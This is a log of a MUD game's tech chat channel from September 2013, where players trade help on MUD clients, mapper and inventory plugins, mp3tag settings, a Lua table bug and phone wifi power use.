T3/r7/2013-09-14.txt.gz:{chan ch=tech}Xarfin Tech: Yup, that was it! I was pulling my hair out but didn't even think of that. Many thanks.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Xarfin Tech: Anyone use the Geany editor in Linux?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Ayasinda Tech: is there a way to remove just 1 roomexit frok the mapper or do I have to purge the entire area for that?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Nuanse Tech: mapper delete
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Nuanse Tech: mapper delete cexits
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Tech: right-click the room
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Nuanse Tech: or what abelinc said
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Ayasinda Tech: thanks Abe
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Pleiades Tech: any pros and cons of tintin vs mudlet?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Apocolus Tech: can't the trigger catch the information in newbie and auctions?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Navi Tech: Anyone use mp3tag and know how to increase the number of results you get bag when searching for tag sources?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Navi Tech: back rather.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Doc Holliday Tech: I use musicbrainz picard
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Doc Holliday Tech: sorry
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Navi: I don't know that there is a way.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Been frustrating for me because it won't return what I'm looking for. :(
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: But I love mp3tag simply because of the rename ability and the ease.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Apocolus Tech: how do you save the configure, if you logout with a no-save pc?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Navi Tech: if Etzli is still around, I found a way to increase the number of results.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Tech: Book of Etzli is very much interested.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Navi Tech: At C:/Users/<username>/AppData/Roaming/mp3tag/data/sources/ there's the .src files for them. Since I use the musicbrainz one, I opened that file, and modified the url to do 100 instead of 40
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Navi: I absolutely love you right now. :D
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Navi Tech: Aww, shucks!
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Martini & Tyebald Tech: good thing you didn't make the number 200, then.  he'd be having your babies.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto snickers softly.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: I really should remove that sub for Remarto...
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Shame that Amazon's is not as easy to do, hmm.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Navi Tech: Yeah, might have to just change the page number over and over. :P
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Or find a service that will automatically return all pages as one. Hmm.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Navi Tech: Does amazon have a way to increase the number of items per page?
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: It wouldn't be universal, though.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: haha.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: I just made it to where I can choose which page I want to view within the program.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: If I don't find the results on page one, I go to Amazon -> 2 to look on page 2, etc.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Navi Tech: Nice.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: If you want the same, all you have to do is create multiple src files, one for each page, and rename each file to: Amazon.com#1.src, Amazon.com#2.src, etc, for each page.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Then when you run the program, it turns Amazon.com into a menu of pages.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Navi Tech: Ah, that's what people meant by a second source. Good to know. :)
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm just glad I can get more results now, thanks to you.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Tech: Book of Etzli only has 9k songs, and will be filling up the rest of his 750GB hard drive with music.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Navi Tech: Thanks to google. ;)
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Navi Tech: I just found out I was modifying the wrong source file. (There's another one in the program files folder.)
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh? The one I modified in the AppData worked for me.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Navi Tech: Wasn't until I decided to update and noticed it saving the src files in AppData.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Navi Tech: Yeah, the AppData one is the one it uses now, I originally was doing the other one.
T3/r7/2013-09-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Ah. Makes sense.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So today I had a SATA cable and an internal power cable fail at the same time... panicked and thought my SSD had died
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Occam can suck it
T3/r7/2013-09-15.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: since when do sata cables fail...
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I know, right? I can only assume the breeze from the fan was enough to break a pin inside it or something...
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Book of Etzli Tech: WTF? How can a function remove a value from a table the function does not even call? function casecounter(casenumber) table.remove(cases,casenumber), return #cases end -- yet it removes the same value from cases AND values...
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Apparently, table.remove(cases, casenumber) is removing it from two tables...
T3/r7/2013-09-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i dont understand why it would
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Neither do I...
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Book of Etzli Tech: It's freakin' weird...
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Whee! I got around that annoying issue, though I still have no clue what was causing it.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You sure you weren't referencing the same table twice?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Book of Etzli Tech: 100% positive.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Sounds like you copied a reference. Try mutating instead of removing and see if the change occurs in both. Or print the memory address and see if they are the same.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Or, if it's Lua, could be something to do with meta tables, and calling other tables as part of their meta functionality
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Meh, I just rebuilt the tables, using numeric index for one and dictionary reference for the other.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Joon Tech: hello. where can i find mudlet mapping script?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: if i move my phone which is sharing internet through wifi furter away from receiving tablet, does the phone uses more power?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It can do, yes
T3/r7/2013-09-15.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: ouch, ok thanks Vakieh
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Myopic Tech: or is it the same power bur more fequent?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Myopic Tech: or is it the same power but more fequent?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: i dont understand
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Myopic Tech: or is it the same power but more fequent? same discharge burst but more often?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If the signal weakens, whether through distance or things in the way (like walls or doors) the transmitting/receiving antenna inside the phone will draw more power to boost the signal
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Myopic Tech: understand thanks
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The frequency of the power draw would be based on how much data you are routing through the phone, totally separate
T3/r7/2013-09-15.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: on my tablet the signal strength is 3 out of for bars, and it only used 3.22 megs after 6 hours of leveling. this mccp is very nice, no lag :-)  just love it . cool as ice
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Myopic Tech: what client on you tablet?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: blowtorch from playstore, i was using bbssh before but it was laggy
T3/r7/2013-09-15.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: and you
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Myopic Tech: cool
T3/r7/2013-09-15.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: (: yeah android is much better then blackberry for this game
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Zade Tech: closer to the phone may also use more juice, if normal transistors are used (instead of FETs or something more advanced), since stronger signal results in more joice flowing -- to believe that an extra preamp was inserted to be used optionally (when signal is weak) is dubious -- (what if there is no signal or noise - is the preamp going to amplifu that - unlikely)
T3/r7/2013-09-15.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: im using edge instead of 3g now, i think it uses less power now
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Zade Tech: a cheap phonr uses cheap electronics - an alternate view is that: further from the phone uses less juice until there is insufficient signal.  If there is an extra preamp, everything is amplified including noise leading to signal corruption, unless the advanced circuitry only pre-amplifies at the anticipated highs of the carrier frequency
T3/r7/2013-09-15.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: wait what o0 . do hi have to put of my stereo hifi in my room because the sound intefere with the wifi signal?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Zade Tech: alyernate view: the more that phone is stimulated, the more joice that phone is going to use
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Zade Tech: sound waves and emf waves are different
T3/r7/2013-09-15.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: phew
T3/r7/2013-09-15.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Yup, they're completely different waves, though of course since they both use air there might be minimal interference :)
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Zade Tech: emf uses air ?!?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Oh right, silly me
T3/r7/2013-09-15.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: im glad to hear that :-) 
T3/r7/2013-09-15.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Wonder where that came from.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Zade Tech: alternatively, the sound vibrations from loud speakers may affect the shoddy-built physical electonics of the phone and wifi
T3/r7/2013-09-15.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: hmmm
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: shouldnt do anything to wifi
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Ranrr Tech: If wifi uses air, is that what is causing the ringing in my ears?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: That might be it, Ranrr.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Or your headphones are ringing from the sarcasm module you installed yesterday.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Zade Tech: although the "sound vibrations" of dropping a wifi to the floor are likely to affect (break) the electronics
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Ranrr Tech: Maybe it's just that I disconnected my switch, and the ether is leaking out?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Watcher Mahon Tech: silicone it, that'll stop the leak
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: duct tape and bubble gum will solve all your leaky situations
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Zade Tech: some of you may be watching too much "Johnny Test"
T3/r7/2013-09-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ducktape always works
T3/r7/2013-09-15.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I prefer chickentape.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Zade Tech: and Jimmy Two-Shoes
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Zade Tech: and The Red-Green Show
T3/r7/2013-09-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: whoever that is
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Trachx Tech: USB3 can cause interferences
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Zade Tech: The Red-Green Show often features duct-tape usage
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Watcher Mahon Tech: cause its the handy mans secret weapon
T3/r7/2013-09-15.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: looking for the direct download link to bbssh, the bbssh.org/downloads won't work
T3/r7/2013-09-15.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: i downloaded from that link and it does work
T3/r7/2013-09-15.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: hrmm
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Tech: they work, but there's multiple links depending on the version of the blackberry operating system you're running
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Tech: and that page also has a link for where to get a file to download to a computer and transfer to the blackberry
T3/r7/2013-09-15.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: I remember being given a link to a direct download, asking me if I want to save the item or cancle
T3/r7/2013-09-15.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: I'll pay 1m for it
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Tech: it's on that page
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Tech: but there are totally different downloads required for different blackberries
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Tech: so nobody can give you a good one
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Tech: Dtboy agrees!
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Tech: unless you're at os7, using the ota link is your best bet
T3/r7/2013-09-15.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Suomi when you choose a bbssh download link there, that window will open like you are used to on blackberry when installing apps and games :-) 
T3/r7/2013-09-15.txt.gz:{chan ch=tech}[Outlaw] Suomi Tech: on the ota?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: yip
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: ughh
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: is there a way to remove an items and its id and everything related to it from eqdb (bast)
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Tech: what happens when you right-click it?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: it insists it doesnt exist
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Bast Tech: eqdb clean
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: while it is there... its there in db too.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Bast Tech: eqdb refresh coulod also work
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: somehow it wrote spells woreoff line with monitors {} lines in it
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: meh and i really dont want to sit and wait for 2 hours to refresh it all then set it all back as it was ~_~
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Bast Tech: what do you mean two hours? it doesn't take long, I have over 500 items and it takes 10 seconds
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: just identifying my leveling gear bag would take a minute at least
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Turie Tech: I can get around 50 100 items in 20 seconds, but that is due to internet speeds.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Bast Tech: refresh doesn't identify, it just gets the list of items in containers
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Turie Tech: 50 to 100
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: but thats not what i need
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Turie Tech: I am talking about eqdb idinv.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: ^
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Bast Tech: if you want to remove something that no longer exists in your inventory, then do eqdb clean
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Turie Tech: Hisazul: Are you needing to add items to your eqdb?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Tech: he has a messed-up entry that he's trying to purge
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: yep
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: wish just plain old deleting it from database worked lol
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Bast Tech: hmm, put it in a container on the ground so it is not in your inventory, then do eqdb clean, then pick it back up
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: lol its a bag :P
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: a big one too sadly
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: ughh
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Bast Tech: what's wrong with the entry?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: it has a gigantic note attached to it from spellup up script. why and how it got there who knows
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Bast Tech: remnote
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: but since eqid script has tendency to not want to stay hidden and i need to force it back... half a screen sized window doesnt help
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: and as i noted before it wont delete that note
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: it insists its not there
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: if i add another note ontop it will delete that one or one before it
T3/r7/2013-09-15.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: just not that one specifically
T3/r7/2013-09-15.txt.gz:{chan ch=tech}A bowl of Granola Tech: Anyone know how to keep internet explorer always on top?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}North Westclox Tech: buy it dinner first?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}A bowl of Granola Tech: hahaha...no
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Tech: only way would be a hack third program running that keeps putting it there
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Tech: there are no flags for IE to keep it there
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Tech: (other than kiosk mode, but you don't want that)
T3/r7/2013-09-15.txt.gz:{chan ch=tech}A bowl of Granola Tech: Trying to use PowerMenu...but it seems to work for everything except IE :P
T3/r7/2013-09-15.txt.gz:{chan ch=tech}North Westclox Tech: part of your problem is that you're using IE
T3/r7/2013-09-15.txt.gz:{chan ch=tech}A bowl of Granola Tech: Well, blame netflix for making me use it :P
T3/r7/2013-09-15.txt.gz:{chan ch=tech}North Westclox Tech: why? i use firefox for netflix just fine
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Turie Tech: You can use Chrome.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}North Westclox Tech: first thing i do when I get a computer, download firefox, then delete IE
T3/r7/2013-09-15.txt.gz:{chan ch=tech}A bowl of Granola Tech: Oh...yea...netflix does work on chrome.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}A bowl of Granola Tech: Blame Mael.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Xarfin Tech: Is there GMCP data for weight and item limits?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Tech: nope
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Cast Abradix Tech: what is the command to set which room the mapper thinks the area start is/
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Mapper help should help you, I think.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Tech: the mapper doesn't care what room starts an area
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Tech: you must be thinking of winklewinkle
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Book of Etzli Tech: I must be, yeah.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Tech: in which case you use xset
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Funny thing is, I thought it was xset something, too. Hah.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Jedhi Tech: yes, xset mark
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Jedhi Tech: but it is part of winklewinkle plugin i belive
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Velian Tech: in cmud if i have a script that picks up several words in a variable how do i adjust the trim function to take the last word after a space?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Doc Holliday Tech: can you explode it into an array?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: split or explode function?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Doc Holliday Tech: sorry not a cmud user
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Velian Tech: never played with arrays... hmm
T3/r7/2013-09-15.txt.gz:{chan ch=tech}HelperMan Hadar Tech: is it array or string?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Doc Holliday Tech: this is a string
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Use %words and %numwords.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Doc Holliday Tech: that could explode and you would have string in array[3]
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Doc Holliday Tech: nevermind :)
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Velian Tech: ahh thanks etz
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Er, %words is not valid.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}HelperMan Hadar Tech: you would want do something like %replace($str," ","|") and then do hrm
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Use %numwords
T3/r7/2013-09-15.txt.gz:{chan ch=tech}HelperMan Hadar Tech: word was what i was looking for
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Book of Etzli Tech: And there is something to break up the words properly by any type of character.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, something like $Local = "This is a sentence";#SHOW %word($Local,%numwords($Local))
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Book of Etzli Tech: That should show the last word after a space.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Velian Tech: so %word(%1, %numword(%1), "")
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Velian Tech: do i not need to worry about the delimiter? will it default to space?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Book of Etzli Tech: Keep in mind it'll also include any punctuation.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Velian Tech: aye
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Velian Tech: won't be a concern for this trigger :) thanks!
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Ruinous Zaiph Tech: I don't know if campaigns are supposed to throw in just the rooms or the area randomly, but if not, the campaign miniwindow borked and it's just showing the rooms they're in, and not the area.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Silent Noro Tech: That just means you have a room-name CP. It happens like that sometimes. :)
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Book of Etzli Tech: After your first remort, you start to get room-name campaigns.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Ruinous Zaiph Tech: It does? Ok, now, my other problem would be that removing the windows doesn't put the cp back in the giant window.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Silent Noro Tech: Are you using the Events window, or the CP window?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Velian Tech: what client?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Ruinous Zaiph Tech: Mush, and at first, Events.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Ruinous Zaiph Tech: I have both CP and Events now. I'm about to remove CP.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Bast Tech: if you want it to show in the window, then just type "cp ch" don't type "cp check"
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Bast Tech: window=output window in that last one
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Ruinous Zaiph Tech: Ahh, alright. I was just making sure nothing borked on my end. Thanks for this.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}HelperMan Hadar Tech: using invdata <bag> ansi im trying to save them in a cmud DB var using #addkey portal_info %2 $str, but its only putting half my portals in the DB var any ideas?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}HelperMan Hadar Tech: nm im an idiot
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: Anyone have any blowtorch plugins they want to sell?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Prolithe Tech: how do i reset the main window of mush? need it where i can adjust it's size
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Thunderax Tech: resetaard or something like that
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Thunderax Tech: reset aard maybe
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Volki Tech: In the mudlet client, how do i enable plugins? (Ubuntu)
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Prolithe Tech: resetaard moved my map, stats, chat window, and gropu plugins but main screen is still full window with not option to change it's size
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Volki Tech: How do you install mushclient on Ubuntu
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Volki Tech: nvm
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Medic Fluffhead Tech: First need to have WINE set up, then download the program, open a terminal, go to the location of the wine.exe file, then wine MUSHclient.exe. Seems like there is something more there, but it's been a long time
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Gener Tech: i had to 'reinstall" my mushclient.  I saved triggers, alias, etc.  I forgot to get map.  I still have the old folder.  is there a way to load that map into the new client?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Medic Fluffhead Tech: I've gotten around it by c/p it before...
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Doc Holliday Tech: yup, you copy the aardwolf.db file over
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Doc Holliday Tech: i believe that is the map file
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Gener Tech: thanks. I will try it.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Doc Holliday Tech: do copy paste so you keep your backup of the old one
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Vexthorne Tech: I am attempting to reinstall mushclient but keep some settings and after following the directions my window position didn't transfer.  Any way to transfer those settings also?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Doc Holliday Tech: possible the "state" folder in worlds
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Doc Holliday Tech: thats the data for all the plugins
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Doc Holliday Tech: but im not sure if that includes window positions
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Vexthorne Tech: Ah, yeah I was having some plugin issues so I'm hesitant to copy that, oh well
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Gener Tech: thank you  that did it.  I have my old maps back!  :)
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Doc Holliday Tech: do you know which plugin you were having the issue with?
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Doc Holliday Tech: Welcome :)
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Vexthorne Tech: I'm pretty sure it was bast's which I'm going to reinstall from scratch assuming I can get things not terrible on this version :)
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Doc Holliday Tech: if you know the plug with the problem (open the file and get the ID) at the top of the file, and delete the file with the matching ID in the name from the state folder
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Tech: Vexthorne nods at Doc Holliday.
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Vexthorne Tech: Alright thanks :)
T3/r7/2013-09-15.txt.gz:{chan ch=tech}Doc Holliday Tech: otherwise do "reset aard" and place them where you want them and resave
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Roburst Tech: now can you losers help
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Velian Tech: thats one way not to get help
T3/r7/2013-09-16.txt.gz:{chan ch=tech}RagingSpirit Tech: is there a way to add tags around a where output ?
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Vost Tech: is there a free 64 bit office suite for Windows?
